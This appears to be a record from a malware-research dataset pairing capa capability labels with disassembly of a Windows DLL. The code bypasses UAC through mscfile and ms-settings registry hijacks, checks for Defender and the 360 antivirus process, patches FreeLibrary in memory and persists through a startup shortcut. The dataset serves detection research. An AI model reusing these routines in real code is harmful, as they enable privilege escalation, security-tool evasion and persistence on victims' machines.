joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002390
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x28]
add ecx, dword [edx + 0x3c]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
add eax, 0x78
mov dword [ebp - 0x1c], eax
mov ecx, 8
imul edx, ecx, 0
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp + 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1c]
add edx, dword [ebp + 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x20]
add ecx, dword [ebp + 0xc]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x24]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 8], 0
jmp 0x10002418
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x34]
jae 0x100024ef
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + eax*4], 0
jne 0x10002432
jmp 0x1000240f
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x10], 0
jmp 0x10002450
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x38]
jae 0x100024ea
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x3c]
movzx eax, word [edx + ecx*2]
cmp eax, dword [ebp - 8]
jne 0x100024e5
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x40]
mov eax, dword [edx + ecx*4]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x18]
cmp dl, byte [eax]
jne 0x100024c9
cmp byte [ebp - 1], 0
je 0x100024c0
mov ecx, dword [ebp - 0x14]
mov dl, byte [ecx + 1]
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0x18]
cmp dl, byte [eax + 1]
jne 0x100024c9
add dword [ebp - 0x14], 2
add dword [ebp - 0x18], 2
cmp byte [ebp - 2], 0
jne 0x1000248c
mov dword [ebp - 0x24], 0
jmp 0x100024d1
sbb ecx, ecx
or ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], 0
jne 0x100024e5
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x50]
jmp 0x100024f1
jmp 0x10002447
jmp 0x1000240f
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10002f70
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002fbb
cmp dword [ebp - 8], 0
je 0x10002fbb
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret

Function at 0x10002fd0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003055
cmp dword [ebp - 8], 0
je 0x10003055
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ebp - 9], al
add dword [ebp - 0x10], 1
cmp byte [ebp - 9], 0
jne 0x10003012
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
lea eax, [edx + edx + 2]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10003070
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.10002e90
movzx ecx, al
mov dword [0x10025a64], ecx
cmp dword [0x10025a64], 0
je 0x1000319e
push str.mscfile
push 0x10021bdc
push closesocket
call fcn.10002f10
add esp, 0xc
push 0x10021bf0
push str.SoftwareClassesmscfile
push closesocket
call fcn.10002f10
add esp, 0xc
push 0x10021c14
push 0x10021c1c
push closesocket
call fcn.10002f10
add esp, 0xc
push 0x10021c3c
push 0x10021c44
push closesocket
call fcn.10002f10
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
push 0x100217b7
push 0x10021c68
push closesocket
call fcn.10002fd0
add esp, 0x10
push 0x100217ca
push 0x10021c94
push str.SoftwareClassesmscfile_shellopencommand
push closesocket
call fcn.10002fd0
add esp, 0x10
push 1
push 0
push 0
push str.C:WindowsSystem32eventvwr.exe
push 0x10021cf4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10021cfc
push str.SoftwareClassesmscfile_shellopen
push closesocket
call fcn.10002f70
add esp, 0xc
push 0x10021d28
push str.SoftwareClassesmscfile_shell
push closesocket
call fcn.10002f70
add esp, 0xc
jmp 0x10003285
push str.ms_settings
push str.SoftwareClasses
push closesocket
call fcn.10002f10
add esp, 0xc
push str.shell
push str.SoftwareClassesms_settings
push closesocket
call fcn.10002f10
add esp, 0xc
push 0x10021d98
push 0x10021da0
push closesocket
call fcn.10002f10
add esp, 0xc
push 0x10021dc4
push 0x10021dcc
push closesocket
call fcn.10002f10
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x100217cb
push 0x10021df4
push closesocket
call fcn.10002fd0
add esp, 0x10
push 0x100217dd
push str.DelegateExecute
push str.SoftwareClassesms_settings_shellopencommand
push closesocket
call fcn.10002fd0
add esp, 0x10
push 1
push 0
push 0
push str.C:WindowsSystem32computerdefaults.exe
push 0x10021e90
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.command
push str.SoftwareClassesms_settings_shellopen
push closesocket
call fcn.10002f70
add esp, 0xc
push 0x10021ec8
push str.SoftwareClassesms_settings_shell
push closesocket
call fcn.10002f70
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10003320
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10003363
or eax, 0xffffffff
jmp 0x100034cf
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov dl, byte [ecx]
mov byte [ebp - 0x21], dl
add dword [ebp - 0x28], 1
cmp byte [ebp - 0x21], 0
jne 0x10003372
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea edx, [ebp - 0x20]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x100033e5
or eax, 0xffffffff
jmp 0x100034cf
mov ecx, dword [str.Shell]
mov dword [ebp - 0x14], ecx
mov dx, word [0x10021ef8]
mov word [ebp - 0x10], dx
mov eax, dword [str.Open]
mov dword [ebp - 0xc], eax
mov cl, byte [0x10021f00]
mov byte [ebp - 8], cl
mov edx, dword [str.Command]
mov eax, dword [0x10021f08]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax]
mov byte [ebp - 0x22], cl
add dword [ebp - 0x2c], 1
cmp byte [ebp - 0x22], 0
jne 0x1000348d
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10003aa0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.ZhuDongFangYu.exe]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x10021fac]
mov dword [ebp - 0x14], ecx
mov edx, dword [0x10021fb0]
mov dword [ebp - 0x10], edx
mov eax, dword [0x10021fb4]
mov dword [ebp - 0xc], eax
mov cx, word [0x10021fb8]
mov word [ebp - 8], cx
mov byte [ebp - 0x141], 0
mov dword [ebp - 0x140], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x150], eax
lea edx, [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10003bda
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x10003bda
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14c], eax
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x148], ecx
mov edx, dword [ebp - 0x148]
mov al, byte [edx]
mov byte [ebp - 0x142], al
mov ecx, dword [ebp - 0x14c]
cmp al, byte [ecx]
jne 0x10003bac
cmp byte [ebp - 0x142], 0
je 0x10003ba0
mov edx, dword [ebp - 0x148]
mov al, byte [edx + 1]
mov byte [ebp - 0x143], al
mov ecx, dword [ebp - 0x14c]
cmp al, byte [ecx + 1]
jne 0x10003bac
add dword [ebp - 0x148], 2
add dword [ebp - 0x14c], 2
cmp byte [ebp - 0x143], 0
jne 0x10003b4e
mov dword [ebp - 0x154], 0
jmp 0x10003bb7
sbb edx, edx
or edx, 1
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jne 0x10003bd5
mov byte [ebp - 0x141], 1
jmp 0x10003bda
jmp 0x10003b1d
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 0x141]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10003c00
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x10003c2c
xor al, al
jmp 0x10003cb9
push 4
push str.WinDefend
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x10003c54
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10003cb9
lea edx, [ebp - 8]
push edx
push 0x24
lea eax, [ebp - 0x2c]
push eax
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x10003c86
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10003cb9
cmp dword [ebp - 0x28], 4
jne 0x10003c95
mov dword [ebp - 0x3c], 1
jmp 0x10003c9c
mov dword [ebp - 0x3c], 0
mov cl, byte [ebp - 0x3c]
mov byte [ebp - 0x2d], cl
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, byte [ebp - 0x2d]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret

Function at 0x10003cd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003d64
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push str.ConsentPromptBehaviorAdmin
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10003d5a
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
jne 0x10003d4e
mov dword [ebp - 0x18], 1
jmp 0x10003d55
mov dword [ebp - 0x18], 0
mov al, byte [ebp - 0x18]
jmp 0x10003d66
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10003d80
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x48], 0x44
push 0x40
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.10007bb0
add esp, 0xc
mov dword [ebp - 0x1c], 1
xor ecx, ecx
mov word [ebp - 0x18], cx
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
movzx edx, byte [ebp + 0xc]
test edx, edx
je 0x10003de8
push 0xffffffffffffffff
mov eax, dword [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret

Function at 0x10004010
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10004029
jmp 0x1000403a
mov ecx, dword [ebp - 4]
or ecx, 2
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esp, ebp
pop ebp
ret

Function at 0x10004260
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push str.FreeLibrary
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
lea edx, [ebp - 8]
push edx
push 0x40
push 5
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100042bf
mov ecx, dword [ebp - 0x10]
mov edx, dword [0x10026924]
mov dword [ecx], edx
mov al, byte [0x10026928]
mov byte [ecx + 4], al
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
push 5
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10004350
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.RegWorkshop.ini]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x100221b4]
mov dword [ebp - 0x10], ecx
mov edx, dword [0x100221b8]
mov dword [ebp - 0xc], edx
mov eax, dword [0x100221bc]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [0x10026ca4]
push edx
push 0x100221c0
lea eax, [ebp - 0x118]
push eax
call fcn.100011b0
add esp, 0x10
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
je 0x100043e1
mov edx, dword [ebp - 0x11c]
and edx, 0x10
jne 0x100043e1
lea eax, [ebp - 0x118]
push eax
call fcn.1000c3bf
add esp, 4
mov eax, 1
jmp 0x100043e3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10004660
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x218], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x210]
push eax
push 0x1001b280
push 1
push 0
push 0x1001b290
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x210]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x210]
push ecx
mov edx, dword [eax + 0x50]
call edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x210]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x210]
push eax
mov ecx, dword [edx + 0x2c]
call ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x210]
push edx
mov eax, dword [ecx + 0x24]
call eax
lea ecx, [ebp - 0x214]
push ecx
push 0x1001b2a0
mov edx, dword [ebp - 0x210]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x210]
push ecx
mov edx, dword [eax]
call edx
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x214]
push edx
mov eax, dword [ecx + 4]
call eax
lea ecx, [ebp - 0x218]
push ecx
push 0x1001b2b0
mov edx, dword [ebp - 0x214]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x214]
push ecx
mov edx, dword [eax]
call edx
mov dword [ebp - 0x21c], eax
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.10007bb0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp + 8]
push edx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp - 0x218]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x218]
push eax
mov ecx, dword [edx + 0x18]
call ecx
mov dword [ebp - 0x21c], eax
mov edx, dword [ebp - 0x210]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x210]
push ecx
mov edx, dword [eax + 8]
call edx
mov eax, dword [ebp - 0x214]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x214]
push edx
mov eax, dword [ecx + 8]
call eax
mov ecx, dword [ebp - 0x218]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x218]
push eax
mov ecx, dword [edx + 8]
call ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret
Function at 0x10005450
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x220]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jge 0x10005485
xor eax, eax
jmp 0x100055fa
mov ecx, dword [str.Network_Server.lnk]
mov dword [ebp - 0x18], ecx
mov edx, dword [0x10022528]
mov dword [ebp - 0x14], edx
mov eax, dword [0x1002252c]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10022530]
mov dword [ebp - 0xc], ecx
mov edx, dword [0x10022534]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x220]
mov dword [ebp - 0x234], eax
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x22c], ecx
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x234]
mov cl, byte [eax]
mov byte [ebp - 0x221], cl
mov edx, dword [ebp - 0x22c]
mov al, byte [ebp - 0x221]
mov byte [edx], al
mov ecx, dword [ebp - 0x234]
add ecx, 1
mov dword [ebp - 0x234], ecx
mov edx, dword [ebp - 0x22c]
add edx, 1
mov dword [ebp - 0x22c], edx
cmp byte [ebp - 0x221], 0
jne 0x100054d5
lea eax, [ebp - 0x18]
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x238], ecx
mov edx, dword [ebp - 0x228]
mov al, byte [edx]
mov byte [ebp - 0x222], al
add dword [ebp - 0x228], 1
cmp byte [ebp - 0x222], 0
jne 0x1000552d
mov ecx, dword [ebp - 0x228]
sub ecx, dword [ebp - 0x238]
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x248], ecx
lea eax, [ebp - 0x11c]
add eax, 0xffffffff
mov dword [ebp - 0x230], eax
mov ecx, dword [ebp - 0x230]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x223], dl
add dword [ebp - 0x230], 1
cmp byte [ebp - 0x223], 0
jne 0x10005578
mov edi, dword [ebp - 0x230]
mov esi, dword [ebp - 0x244]
mov eax, dword [ebp - 0x248]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xffffffff
je 0x100055ea
mov edx, dword [ebp - 0x23c]
and edx, 0x10
jne 0x100055ea
mov dword [ebp - 0x240], 1
jmp 0x100055f4
mov dword [ebp - 0x240], 0
mov eax, dword [ebp - 0x240]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret

Function at 0x10005850
Capabilities:
Create pipe
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ecx, 7
mov esi, str..pipe_vfsss221wsUU8sngs06
lea edi, [ebp - 0x24]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0
push 0
push 0
push 0
push 1
push 0
push 3
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x10026cdc], eax
cmp dword [0x10026cdc], 0xffffffff
jne 0x100058a0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret